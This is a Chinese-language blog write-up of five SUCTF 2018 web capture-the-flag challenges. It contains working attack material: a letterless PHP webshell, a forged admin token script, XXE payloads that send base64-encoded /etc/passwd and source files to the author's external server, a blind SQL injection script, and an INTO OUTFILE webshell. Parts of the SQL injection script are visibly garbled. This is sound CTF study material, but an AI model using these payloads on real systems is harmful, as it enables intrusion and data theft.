美文网首页信息安全CTF我爱编程
[SUCTF] SUCTF web题目 writeup

[SUCTF] SUCTF web题目 writeup

作者: ckj123 | 来源:发表于2018-05-28 22:18 被阅读184次

SUCTF

这周末打了suctf,协会的大佬们都去参加tctf了,
都没人打pwn了,不过最终成绩还可以
不过恭喜协会大佬tctf新人赛第一,出征defcon
没啥会做,只能赛后复现一遍。。
(看了官方的wp发现全是非预期)

Anonymous

这道题一进去就有源码

<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
}
show_source(__FILE__);

看到了两个不认识的函数
create_function()
openssl_random_pseudo_bytes()

看到了2017年orange出的ctf比赛的文章
看着差不多=。=,然后一直想着绕过那个伪随机数
openssl_random_pseudo_bytes()是存在一个cve的
cve 2016-8867

create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_%d
https://lorexxar.cn/2017/11/10/hitcon2017-writeup/
这里看了土土的博客2017年的hitcon的比赛
了解到:
当我们能够获取一个反序列化的admin对象之后,我们遇到了新的问题。

获取flag的函数是通过create_function,并没有设置函数名字,但其实这里声明的函数是有函数名的,匿名函数会被设置为\x00lambda_%d,这里的%d是顺序递增的。

我们仍然可以从php的源码里找到这个问题

https://github.com/php/php-src/blob/d56a534acc52b0bb7d61ac7c3386ab96e8ca4a97/Zend/zend_builtin_functions.c#L1914

    do {
        ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1;
    } while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
    RETURN_NEW_STR(function_name);
} else {
    zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
    RETURN_FALSE;

这里的%d会一直递增到最大长度直到结束,这里我们可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了。

import requests
while True:
    r=requests.get('http://web.suctf.asuri.org:81/?func_name=%00lambda_1')
    print(r.text)

不断跑就好了

Getshell

进去就是一个主页,然后你点击upload就可以
看到在这里可以上传文件会发现有一段代码

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

传上去了会发现会给你地址,看下url,就明白了是文件包含
然后利用链也有了么就是先上传
然后再用文件包含访问那个一句话就可以getshell了

主要的问题使要把所有的black_char测试出来看看有哪些没有被过滤
我是用bp来测试的


就可以知道了只有上面的那些可以通过黑名单
这个就是一个问题,之前有看过P牛的文章就是不用字母数字的一句话
但是要使用++和^这里被绕过了就要用别的方法了

这时想起离别歌的博客https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html的方法二

echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a

这些只有在php7的环境下才能实现

根据这些来上传一个php文件

<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);

$_POST[a]可以来执行系统命令
就可以了


HateIT

首先扫一下站,会发现一个
robots.txt
admin.php
upload/upload.php
.git/
upload/uploa.php不能直接访问,估计是看cookie的

进入robots.txt

发现有一个suenc.so

拖入ida查看是怎么加密的,这个交给我们队的bin大佬了
/.git/很坑,用github 的githack只能下载下来一个readme
http://www.bugscan.net/的githack就有四个文件。。。。。惊了


和一个纯是字节码的index.php

前面两个通过.so里面的加密来还原

listA = [0x49,0xfa,0x0,0xfa,0x0,0x23,0xff,0x23,0x8e,0xea,0xfa,0xf3,0xa6,0xf3,0xc6,0x8e]

def decrypt(Str):
    fp2 = open('2.php','wb')
    purpose = ''
    v3 = 0
    purpose += (Str[:12])
    Str2 = Str[12:]
    for i in range(len(Str2)):
        if i % 2 == 1:
            v3 = (i + listA[v3] + v3) & 0xf
            purpose += chr((~(ord(Str2[i])) & 0xff) ^ listA[v3])
        else:
            purpose += Str2[i]
    fp2.write(purpose)
fp = open('admin.php','rb')
a = fp.read()
decrypt(a)

hammer肉眼还原字节码,膜一发

<?php
//!0 = $username, !1 = $md5, !2 = $admin, !3 = $token, !4 = $sign, !5 = $info
if(!isset($_SESSION)) {
}
session_start();

include_once('func.php');
if(isset($_GET['username'])) {

    $username = $_GET['username'];

    $md5 = md5(get_identify().$username);
    $token = encrypt($username,'|',$admin,'|',$md5);
    $_SESSION['sign'] = $md5;
    $_SESSION['token'] = $token;
}
showImage();
if(isset($_GET['sign'])&&isset($_GET['token']))
{
    $sign = $_GET['sign'];
    $token = $_GET['token'];
    echo 'sign+%3A+'.$sign.'%3Cbr%3E%0A';
    echo 'token%3A+'.$token.'%3Cbr%3E%0A';
    $info = explode(decrypt($token),'|');
    echo decrypt($token);
    var_dump($info);
    if(count($info) == 3)
    {
        
        if(md5(get_identify().$info[0]) == $info[2] && $sign = $info[1])
        {
            $admin = $info[1];
        }
        else
        {
            die();
        }
    }
    else
    {
        die();
    }
}
else if(isset($_SESSION['token'])&&isset($_SESSION['sign']))
{
    echo 'sign+%3A+'.$_SESSION['sign'].'%3Cbr%3E%0A';
    echo 'token%3A+'.$_SESSION['token'].'%3Cbr%3E%0A';
    $token = $_SESSION['token'];
    $sign = $_SESSION['token'];
    $info = explode(decrypt($token),'|');
    if(count($info) == 3)
    {
        if(md5(get_identify().$info[0]) == $info[2] && $sign = $info[1])
        {
            $admin = $info[1];
            echo '%3Cbr%3E'.$admin;
        }
        else
        {
            die();
        }
        
    }
    else
    {
        die();
    }
}
if(isset($admin))
{
    if($admin == 3)
    {
        $_SESSION['auth'] = 'admin';
        echo '%3Ca+href%3D%27admin.php%27%3EAdmin%3C%2Fa%3E';
    }
}

关键地方就是要生成一个token解密之后让info[1]=3
之后在赋值给admin,就可以进入到上传文件的地方了


因为有秘钥很简单=。=(这里非预期了,应该是不给秘钥的,原来得用CFB重放攻击)
加密解密的脚本都在func_decode.php
写出token的加密脚本

<?php
define("KEY","8690475385984657");
define("method","aes-128-cfb");
define("BS",16);
define("IDENTIFY","9850375038");

function getkey(){
    return KEY;
}

function get_identify(){
    return IDENTIFY;
}

function get_token(){
    $token = '';
    for($i=0;$i<16;$i++){
        $token .= chr(rand(1,255));
    }
    return $token;
}

function to($str) {
    return $str . str_repeat(chr(BS - strlen($str) % BS), (BS - strlen($str) % BS));
}

function encrypt($str){
    $key = getkey();
    srand(time() / 300);
    $token = get_token();
    $cipher = bin2hex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, to($str), MCRYPT_MODE_CFB, $token));
    return base64_encode($cipher);
}

$username = 'qwer';
$md5 = md5(get_identify().$username);
$admin = '3';
$token = encrypt($username . '|' . $admin . '|' . $md5);
echo $token;
echo "\n";

就可以用admin的session进入下一关了


审计admin.php源码


F12跟进viewImage 跟进ImageView



这里可以命令执行

file的地方就可以传进去命令


之后就是寻找flag之旅=。=
SUCTF{KyGfsMbkYqMNATETLTYVfCPncbY6HK8G6PbnByUPU5S5xo4tUMVm}

Homework

拿环境复现了一遍
lightless博客讲了xxe的详解
https://lightless.me/archives/Research-On-XXE.html

进入题目首先先注册然后登陆一下

按一下计算会发现

这样好像就是调用了calc函数,里面的三个参数正好是2 a 2

然后就需要寻找一个php的类,然后能在调用类的时候自动传入xml=。=
不过我不懂为什么就可以想到是xxe了

SimpleXMLElement::__construct 创建时自动使用
可以找到一个函数


这道题不是很懂,就按wp来

先创建一个obj.xml外部实体

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[   
<!ENTITY % int SYSTEM "http://vps/XXE/evil.xml">  
%int;  
%all;  
%send;  
]>

evil.xml

<!ENTITY % file  SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/wwwroot/default/index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps/XXE/1.php?file=%file;'>">

1.php

$content=$_GET['file'];
file_put_contents("content.txt",$content);

构造payload

http://www.ckj123.com:9999/show.php?module=SimpleXMLElement&args[]=http://www.ckj123.com/XXE/obj.xml&args[]=2&args[]=true

不知道为什么一直500(500也没事=。=可以打过去)
200了


但是没有任何回显(不知道为什么)
向辉神要了一个payload

  • payload
module=SimpleXMLElement&args[]=<%3Fxml+version%3D"1.0"+%3F>%0A<%21DOCTYPE+r+%5B%0A<%21ELEMENT+r+ANY+>%0A<%21ENTITY+%25+sp+SYSTEM+"http%3A%2F%2Fwww.ckj123.com%2FXXE/test.xml">%0A%25sp%3B%0A%25param1%3B%0A%5D>%0A<r>%26exfil%3B<%2Fr>%0A&args[]=2

payload中的xml

<?xml version="1.0"+?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM"http://www.ckj123.com/XXE/test.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
  • 远程服务器上的xml文件
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://www.ckj123.com:8888/?%data;'>">

终于有回显了!!!!接下来就可以做代码审计了!!

不知道为什么我的一直没用回显

请教了一下辉神,辉神神说可以用相对路径去读取,只要和show.php同一级
推荐我去看一下libxml的源码(挖个坑)

然后读取到了show.php的源码

<?php
    include("function.php");
    include("config.php");
    include("calc.php");

    if(isset($_GET['action'])&&$_GET['action']=="view"){
        if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
        if(!empty($_GET['filename'])){
            $file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
            $file_name=$file_info['0']['2'];
            echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
            $new_sig=mt_rand();
            sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
            die("<br>new sig:".$new_sig);
        }else{
            die("Null filename");
        }
    }

    $username=w_addslashes($_COOKIE['user']);
    $check_code=$_COOKIE['cookie-check'];
    $check_sql="select password from user where username='".$username."'";
    $check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
    if($check_sum!==$check_code){
        header("Location: login.php");
    }

    $module=$_GET['module'];
    $args=$_GET['args'];
    do_api($module,$args);
?>

看到了一个config
function.php

<?php

function sql_result($sql,$mysql){
    if($result=mysqli_query($mysql,$sql)){
        $result_array=mysqli_fetch_all($result);
        return $result_array;
    }else{
         echo mysqli_error($mysql);
         return "Failed";
    }
}

function upload_file($mysql){
    if($_FILES){
        if($_FILES['file']['size']>2*1024*1024){
            die("File is larger than 2M, forbidden upload");
        }
        if(is_uploaded_file($_FILES['file']['tmp_name'])){
            if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
                $filehash=md5(mt_rand());
                if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");
                $new_filename="./upload/".$filehash.".txt";
                move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
                die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
            }else{
                $hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
                $new_filename="./upload/".$hash[0][0].".txt";
                move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
                die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
            }
        }else{
            die("Not upload file");
        }
    }
}



function w_addslashes($string){
    return addslashes(trim($string));
}



function do_api($module,$args){
    $class = new ReflectionClass($module);
    $a=$class->newInstanceArgs($args);
}
?>

index.php没啥用


这里好像有两次转义.我错了是二次注入 拿出来的时候没有过滤了可以用16进制

但是本地测试的时候



尴尬

multisql

题目是用的公开CMS

https://github.com/Eworld97/php_audit/tree/master/VAuditDemo

首先注册一下,看一下用户信息有个id,会发现有一个id
http://web.suctf.asuri.org:85/user/user.php?id=22908

试一下^发现有数字型注入点

上传一个images,发现
文件名规则为 md5(user_name).jpg

会发现有文件读写权限
目录限制/var/www/

用mysql的file_load语句读取文件


#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests

s = requests.session()

filename = "0x"+"/var/www/html/bwvs_config/waf.php".encode('hex')

print filename

content = "".encode("hex")

for i in range(0,99999):

for i in range(33,128):

url = "http://web.suctf.asuri.org:85/user/user.php?id=if(hex(mid(load_file("+filename+"),1,9999))>0x"+ content + chr(i).encode('hex') +",3,1)"

cookies = {"PHPSESSID":"lhctsn1getr97rpf54cp6bp6q0"}

r = s.post(url = url ,cookies = cookies)

if "user_id:1" in r.text:

print "no"

content = content + chr(i-1).encode('hex')

print content.decode("hex")

break

else:

continue**
function waf($str){

$black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";

$str = preg_replace($black_str, "@@",$str);

return addslashes($str);

}

先注册一个<?=$_POST[c];?>

再注册

<?=$_POST[c];?>'into outfile'/var/www/html/favicon/c1.php

退出后登录,生成shell
就可以任意命令执行了(本地复现一直不行)不知道为什么

相关文章

  • [SUCTF] SUCTF web题目 writeup

    SUCTF 这周末打了suctf,协会的大佬们都去参加tctf了,都没人打pwn了,不过最终成绩还可以不过恭喜协会...

  • 2019 SUCTF Web writeup

    这次比赛滑水了,只有中午和晚上有时间看题,都是大佬们带着飞的,记录下部分Web的解题思路 0x01 CheckIn...

  • SUCTF 2019 WriteUp

    Web Misc 签到题 给了一串编码,制作: 打开网页就可以得到flag。 game 查看源代码得到: 在/js...

  • python urllib.parse.urlunsplit()

    题目地址 https://buuoj.cn/challenges#[SUCTF%202019]Pythonginx...

  • buuoj部分wp

    Web 1.[SUCTF]EasySQL 预期解 后台的查询语句可能为select $_POST['a'] || ...

  • suctf-部分web题WP

    title: suctf-部分web题WPdate: 2018-11-14 09:57:29tags: [WP,c...

  • SUCTF的部分web题

    0x00 大佬在群里分享的一次外校的招新ctf赛,没什么经验,第一次个人参加,做出了几题,虽然挺开心的。但是还是有...

  • SUCTF 2019-WEB-EasySQL

    复现地址https://buuoj.cn/challenges#[SUCTF%202019]EasySQL 考察点...

  • SUCTF 2019-WEB-CheckIn

    复现地址:https://buuoj.cn/challenges#[SUCTF%202019]CheckIn 考察...

  • SUCTF 2019 复现

    0x00 SUCTF 2019 复现 Check In 其实一开始拿到题有点蒙,以为是常规的文件上传题目,连图片都...

网友评论

    本文标题:[SUCTF] SUCTF web题目 writeup

    本文链接:https://www.haomeiwen.com/subject/zlpbjftx.html